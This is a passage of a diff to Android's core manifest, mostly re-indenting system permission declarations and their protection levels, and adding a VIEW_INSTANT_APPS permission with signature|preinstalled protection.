- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.media.routing.MediaRouteService}
to ensure that only the system can interact with it.
@hide -->
<permission android:name="android.permission.BIND_ROUTE_PROVIDER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by device administration receiver, to ensure that only the
system can interact with it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_DEVICE_ADMIN"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Required to add or remove another application as a device admin.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.MANAGE_DEVICE_ADMINS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows low-level access to setting the orientation (actually
rotation) of the screen.
@@ -2592,33 +2592,33 @@
@hide
-->
<permission android:name="android.permission.SET_ORIENTATION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows low-level access to setting the pointer speed.
<p>Not for use by third-party applications.
@hide
-->
<permission android:name="android.permission.SET_POINTER_SPEED"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows low-level access to setting input device calibration.
<p>Not for use by normal applications.
@hide -->
<permission android:name="android.permission.SET_INPUT_CALIBRATION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows low-level access to setting the keyboard layout.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.SET_KEYBOARD_LAYOUT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to query tablet mode state and monitor changes
in it.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.TABLET_MODE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to request installing packages. Apps
targeting APIs greater than 25 must hold this permission in
@@ -2626,9 +2626,9 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"
- android:label="@string/permlab_requestInstallPackages"
- android:description="@string/permdesc_requestInstallPackages"
- android:protectionLevel="signature|appop" />
+ android:label="@string/permlab_requestInstallPackages"
+ android:description="@string/permdesc_requestInstallPackages"
+ android:protectionLevel="signature|appop" />
<!-- Allows an application to request deleting packages. Apps
targeting APIs greater than 25 must hold this permission in
@@ -2636,41 +2636,41 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.REQUEST_DELETE_PACKAGES"
- android:label="@string/permlab_requestDeletePackages"
- android:description="@string/permdesc_requestDeletePackages"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_requestDeletePackages"
+ android:description="@string/permdesc_requestDeletePackages"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows an application to install packages.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.INSTALL_PACKAGES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to clear user data.
<p>Not for use by third-party applications
@hide
-->
<permission android:name="android.permission.CLEAR_APP_USER_DATA"
- android:protectionLevel="signature|installer" />
+ android:protectionLevel="signature|installer" />
<!-- @hide Allows an application to get the URI permissions
granted to another application.
<p>Not for use by third-party applications
-->
<permission android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to clear the URI permissions
granted to another application.
<p>Not for use by third-party applications
-->
<permission
- android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
- android:protectionLevel="signature" />
+ android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to delete cache files.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.DELETE_CACHE_FILES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to delete packages.
<p>Not for use by third-party applications.
@@ -2678,120 +2678,120 @@
when the application deleting the package is not the same application that installed the
package. -->
<permission android:name="android.permission.DELETE_PACKAGES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to move location of installed package.
@hide -->
<permission android:name="android.permission.MOVE_PACKAGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to change whether an application component (other than its own) is
enabled or not.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to grant specific permissions.
@hide -->
<permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier" />
<!-- @SystemApi Allows an app that has this permission and the permissions to install packages
to request certain runtime permissions to be granted at installation.
@hide -->
<permission android:name="android.permission.INSTALL_GRANT_RUNTIME_PERMISSIONS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier" />
<!-- @SystemApi Allows an application to revoke specific permissions.
@hide -->
<permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier" />
<!-- @hide Allows an application to observe permission changes. -->
<permission android:name="android.permission.OBSERVE_GRANT_REVOKE_PERMISSIONS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
<p>Not for use by third-party applications.
@hide
-->
<permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to take screen shots and more generally
get access to the frame buffer data.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.READ_FRAME_BUFFER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to use InputFlinger's low level features.
@hide -->
<permission android:name="android.permission.ACCESS_INPUT_FLINGER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to configure and connect to Wifi displays
@hide -->
<permission android:name="android.permission.CONFIGURE_WIFI_DISPLAY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to control low-level features of Wifi displays
such as opening an RTSP socket. This permission should only be used
by the display manager.
@hide -->
<permission android:name="android.permission.CONTROL_WIFI_DISPLAY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to control the color modes set for displays system-wide.
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.CONFIGURE_DISPLAY_COLOR_MODE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to control VPN.
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.CONTROL_VPN"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<uses-permission android:name="android.permission.CONTROL_VPN" />
<!-- @SystemApi Allows an application to capture audio output.
<p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.CAPTURE_AUDIO_OUTPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to capture audio for hotword detection.
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.CAPTURE_AUDIO_HOTWORD"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to modify audio routing and override policy decisions.
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.MODIFY_AUDIO_ROUTING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to capture video output.
<p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to capture secure video output.
<p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.CAPTURE_SECURE_VIDEO_OUTPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to know what content is playing and control its playback.
<p>Not for use by third-party applications due to privacy of media consumption</p> -->
<permission android:name="android.permission.MEDIA_CONTENT_CONTROL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to set the volume key long-press listener.
<p>When it's set, the application will receive the volume key long-press event
instead of changing volume.</p>
<p>Not for use by third-party applications</p> -->
<permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi @hide Allows an application to set media key event listener.
<p>When it's set, the application will receive the media key event before
@@ -2799,61 +2799,61 @@
cannot get the event.</p>
<p>Not for use by third-party applications</p> -->
<permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Required to be able to disable the device (very dangerous!).
<p>Not for use by third-party applications.
@hide
-->
<permission android:name="android.permission.BRICK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Required to be able to reboot the device.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.REBOOT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
- <!-- @SystemApi Allows low-level access to power management.
- <p>Not for use by third-party applications.
- @hide
- -->
- <permission android:name="android.permission.DEVICE_POWER"
- android:protectionLevel="signature" />
+ <!-- @SystemApi Allows low-level access to power management.
+ <p>Not for use by third-party applications.
+ @hide
+ -->
+ <permission android:name="android.permission.DEVICE_POWER"
+ android:protectionLevel="signature" />
- <!-- Allows access to the PowerManager.userActivity function.
- <p>Not for use by third-party applications. @hide @SystemApi -->
+ <!-- Allows access to the PowerManager.userActivity function.
+ <p>Not for use by third-party applications. @hide @SystemApi -->
<permission android:name="android.permission.USER_ACTIVITY"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
- <!-- @hide Allows low-level access to tun tap driver -->
+ <!-- @hide Allows low-level access to tun tap driver -->
<permission android:name="android.permission.NET_TUNNELING"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Run as a manufacturer test application, running as the root user.
Only available when the device is running in manufacturer test mode.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.FACTORY_TEST"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to broadcast a notification that an application
package has been removed.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to broadcast an SMS receipt notification.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_SMS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to broadcast a WAP PUSH receipt notification.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_WAP_PUSH"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to broadcast privileged networking requests.
<p>Not for use by third-party applications.
@@ -2861,87 +2861,87 @@
@deprecated Use {@link android.Manifest.permission#REQUEST_NETWORK_SCORES} instead
-->
<permission android:name="android.permission.BROADCAST_NETWORK_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Not for use by third-party applications. -->
<permission android:name="android.permission.MASTER_CLEAR"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to call any phone number, including emergency
numbers, without going through the Dialer user interface for the user
to confirm the call being placed.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CALL_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to perform CDMA OTA provisioning @hide -->
<permission android:name="android.permission.PERFORM_CDMA_PROVISIONING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to perform SIM Activation @hide -->
<permission android:name="android.permission.PERFORM_SIM_ACTIVATION"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows enabling/disabling location update notifications from
the radio.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CONTROL_LOCATION_UPDATES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows read/write access to the "properties" table in the checkin
database, to change values that get uploaded.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to collect component usage
statistics
<p>Declaring the permission implies intention to use the API and the user of the
device can grant permission through the Settings application. -->
<permission android:name="android.permission.PACKAGE_USAGE_STATS"
- android:protectionLevel="signature|privileged|development|appop" />
+ android:protectionLevel="signature|privileged|development|appop" />
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
<!-- @hide Allows an application to change the app idle state of an app.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
access the network and acquire wakelocks.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Permission an application must hold in order to use
{@link android.provider.Settings#ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}.
This is a normal permission: an app requesting it will always be granted the
permission, without the user needing to approve or see it. -->
<permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
- android:label="@string/permlab_requestIgnoreBatteryOptimizations"
- android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_requestIgnoreBatteryOptimizations"
+ android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows an application to collect battery statistics -->
<permission android:name="android.permission.BATTERY_STATS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to control the backup and restore process.
<p>Not for use by third-party applications.
@hide pending API council -->
<permission android:name="android.permission.BACKUP"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows a package to launch the secure full-backup confirmation UI.
ONLY the system process may hold this permission.
@hide -->
<permission android:name="android.permission.CONFIRM_FULL_BACKUP"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be required by a {@link android.widget.RemoteViewsService},
to ensure that only the system can bind to it. -->
<permission android:name="android.permission.BIND_REMOTEVIEWS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to tell the AppWidget service which application
can access AppWidget's data. The normal user flow is that a user
@@ -2950,25 +2950,25 @@
An application that has this permission should honor that contract.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.BIND_APPWIDGET"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Private permission, to restrict who can bring up a dialog to add a new
keyguard widget
@hide -->
<permission android:name="android.permission.BIND_KEYGUARD_APPWIDGET"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Internal permission allowing an application to query/set which
applications can bind AppWidgets.
@hide -->
<permission android:name="android.permission.MODIFY_APPWIDGET_BIND_PERMISSIONS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows applications to change the background data setting.
<p>Not for use by third-party applications.
@hide pending API council -->
<permission android:name="android.permission.CHANGE_BACKGROUND_DATA_SETTING"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi This permission can be used on content providers to allow the global
search system to access their data. Typically it used when the
@@ -2979,7 +2979,7 @@
it is used by applications to protect themselves from everyone else
besides global search. -->
<permission android:name="android.permission.GLOBAL_SEARCH"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Internal permission protecting access to the global search
system: ensures that only the system can access the provider
@@ -2989,33 +2989,33 @@
ranking).
@hide -->
<permission android:name="android.permission.GLOBAL_SEARCH_CONTROL"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Internal permission to allows an application to read indexable data.
@hide -->
<permission android:name="android.permission.READ_SEARCH_INDEXABLES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows applications to set a live wallpaper.
@hide XXX Change to signature once the picker is moved to its
own apk as Ghod Intended. -->
<permission android:name="android.permission.SET_WALLPAPER_COMPONENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows applications to read dream settings and dream state.
@hide -->
<permission android:name="android.permission.READ_DREAM_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows applications to write dream settings, and start or stop dreaming.
@hide -->
<permission android:name="android.permission.WRITE_DREAM_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allow an application to read and write the cache partition.
@hide -->
<permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by default container service so that only
the system can bind to it and use it to copy
@@ -3023,67 +3023,67 @@
accessible to the system.
@hide -->
<permission android:name="android.permission.COPY_PROTECTED_DATA"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Internal permission protecting access to the encryption methods
@hide
-->
<permission android:name="android.permission.CRYPT_KEEPER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to read historical network usage for
specific networks and applications. @hide -->
<permission android:name="android.permission.READ_NETWORK_USAGE_HISTORY"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to manage network policies (such as warning and disable
limits) and to define application-specific rules. @hide -->
<permission android:name="android.permission.MANAGE_NETWORK_POLICY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to account its network traffic against other UIDs. Used
by system services like download manager and media server. Not for use by
third party apps. @hide -->
<permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- C2DM permission.
@hide Used internally.
-->
<permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<uses-permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"/>
<!-- @SystemApi @hide Package verifier needs to have this permission before the PackageManager will
trust it to verify packages.
-->
<permission android:name="android.permission.PACKAGE_VERIFICATION_AGENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by package verifier receiver, to ensure that only the
system can interact with it.
@hide
-->
<permission android:name="android.permission.BIND_PACKAGE_VERIFIER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi @hide Intent filter verifier needs to have this permission before the
PackageManager will trust it to verify intent filters.
-->
<permission android:name="android.permission.INTENT_FILTER_VERIFICATION_AGENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by intent filter verifier receiver, to ensure that only the
system can interact with it.
@hide
-->
<permission android:name="android.permission.BIND_INTENT_FILTER_VERIFIER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows applications to access serial ports via the SerialManager.
@hide -->
<permission android:name="android.permission.SERIAL_PORT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows the holder to access content providers from outside an ApplicationThread.
This permission is enforced by the ActivityManagerService on the corresponding APIs,
@@ -3092,27 +3092,27 @@
@hide
-->
<permission android:name="android.permission.ACCESS_CONTENT_PROVIDERS_EXTERNALLY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to hold an UpdateLock, recommending that a headless
OTA reboot *not* occur while the lock is held.
@hide -->
<permission android:name="android.permission.UPDATE_LOCK"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to read the current set of notifications, including
any metadata and intents attached.
@hide -->
<permission android:name="android.permission.ACCESS_NOTIFICATIONS"
- android:protectionLevel="signature|privileged|appop" />
+ android:protectionLevel="signature|privileged|appop" />
<!-- Marker permission for applications that wish to access notification policy.
<p>Protection level: normal
-->
<permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"
- android:description="@string/permdesc_access_notification_policy"
- android:label="@string/permlab_access_notification_policy"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_access_notification_policy"
+ android:label="@string/permlab_access_notification_policy"
+ android:protectionLevel="normal" />
<!-- Allows modification of do not disturb rules and policies. Only allowed for system
processes.
@@ -3123,42 +3123,42 @@
<!-- Allows access to keyguard secure storage. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows managing (adding, removing) fingerprint templates. Reserved for the system. @hide -->
<permission android:name="android.permission.MANAGE_FINGERPRINT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an app to reset fingerprint attempt counter. Reserved for the system. @hide -->
<permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to control keyguard. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.CONTROL_KEYGUARD"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to listen to trust changes. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.TRUST_LISTENER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to provide a trust agent.
@hide For security reasons, this is a platform-only permission. -->
<permission android:name="android.permission.PROVIDE_TRUST_AGENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to launch the trust agent settings activity.
@hide -->
<permission android:name="android.permission.LAUNCH_TRUST_AGENT_SETTINGS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Must be required by an {@link
android.service.trust.TrustAgentService},
to ensure that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_TRUST_AGENT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link
android.service.notification.NotificationListenerService},
@@ -3166,7 +3166,7 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be required by an {@link
android.service.notification.NotificationAssistantService} to ensure that only the system
@@ -3175,7 +3175,7 @@
@hide
-->
<permission android:name="android.permission.BIND_NOTIFICATION_ASSISTANT_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link
android.service.chooser.ChooserTargetService}, to ensure that
@@ -3183,7 +3183,7 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_CHOOSER_TARGET_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be held by services that extend
{@link android.service.resolver.ResolverRankerService}.
@@ -3200,7 +3200,7 @@
@hide
-->
<permission android:name="android.permission.BIND_RESOLVER_RANKER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link
android.service.notification.ConditionProviderService},
@@ -3208,14 +3208,14 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_CONDITION_PROVIDER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.service.dreams.DreamService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_DREAM_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.app.usage.CacheQuotaService} to ensure that only the
system can bind to it.
@@ -3228,44 +3228,44 @@
carrier setup application to enforce that this permission is required
@hide This is not a third-party API (intended for OEMs and system apps). -->
<permission android:name="android.permission.INVOKE_CARRIER_SETUP"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to listen for network condition observations.
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.ACCESS_NETWORK_CONDITIONS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to provision and access DRM certificates
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.ACCESS_DRM_CERTIFICATES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Api Allows an application to manage media projection sessions.
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.MANAGE_MEDIA_PROJECTION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to read install sessions
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.READ_INSTALL_SESSIONS"
- android:label="@string/permlab_readInstallSessions"
- android:description="@string/permdesc_readInstallSessions"
- android:protectionLevel="normal"/>
+ android:label="@string/permlab_readInstallSessions"
+ android:description="@string/permdesc_readInstallSessions"
+ android:protectionLevel="normal"/>
<!-- @SystemApi Allows an application to remove DRM certificates
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.REMOVE_DRM_CERTIFICATES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @deprecated Use {@link android.Manifest.permission#BIND_CARRIER_SERVICES} instead -->
<permission android:name="android.permission.BIND_CARRIER_MESSAGING_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to interact with the currently active
{@link android.service.voice.VoiceInteractionService}.
@hide -->
<permission android:name="android.permission.ACCESS_VOICE_INTERACTION_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- The system process that is allowed to bind to services in carrier apps will
have this permission. Carrier apps should use this permission to protect
@@ -3273,9 +3273,9 @@
<p>Protection level: system|signature
-->
<permission android:name="android.permission.BIND_CARRIER_SERVICES"
- android:label="@string/permlab_bindCarrierServices"
- android:description="@string/permdesc_bindCarrierServices"
- android:protectionLevel="signature|privileged" />
+ android:label="@string/permlab_bindCarrierServices"
+ android:description="@string/permdesc_bindCarrierServices"
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to query whether DO_NOT_ASK_CREDENTIALS_ON_BOOT
flag is set.
@@ -3317,11 +3317,15 @@
confirmation UI for full backup/restore -->
<uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
-
- <!-- Allows the holder to access the instant applications on the device.
+ <!-- Allows the holder to access and manage instant applications on the device.
@hide -->
<permission android:name="android.permission.ACCESS_INSTANT_APPS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier" />
+
+ <!-- Allows the holder to view the instant applications on the device.
+ @hide -->
+ <permission android:name="android.permission.VIEW_INSTANT_APPS"
+ android:protectionLevel="signature|preinstalled" />
<!-- Allows receiving the usage of media resource e.g. video/audio codec and
graphic memory.
@@ -3333,7 +3337,7 @@
APIs given by {@link SoundTriggerManager}.
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.MANAGE_SOUND_TRIGGER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows trusted applications to dispatch managed provisioning message to Managed
Provisioning app. If requesting app does not have permission, it will be ignored.
@@ -3357,24 +3361,24 @@
the system can bind to it.
<p>Protection level: signature -->
<permission android:name="android.permission.BIND_VR_LISTENER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by system apps when accessing restricted VR APIs.
@hide
@SystemApi
<p>Protection level: signature -->
<permission android:name="android.permission.RESTRICTED_VR_ACCESS"
- android:protectionLevel="signature|preinstalled" />
+ android:protectionLevel="signature|preinstalled" />
<!-- Required to make calls to {@link android.service.vr.IVrManager}.
@hide -->
<permission android:name="android.permission.ACCESS_VR_MANAGER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to whitelist tasks during lock task mode
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
- android:protectionLevel="signature|setup" />
+ android:protectionLevel="signature|setup" />
<!-- @SystemApi Allows an application to replace the app name displayed alongside notifications
in the N-release and later.
@@ -3390,7 +3394,7 @@
<!-- @SystemApi Allows an application to manage auto-fill sessions.
@hide <p>Not for use by third-party applications.</p> -->
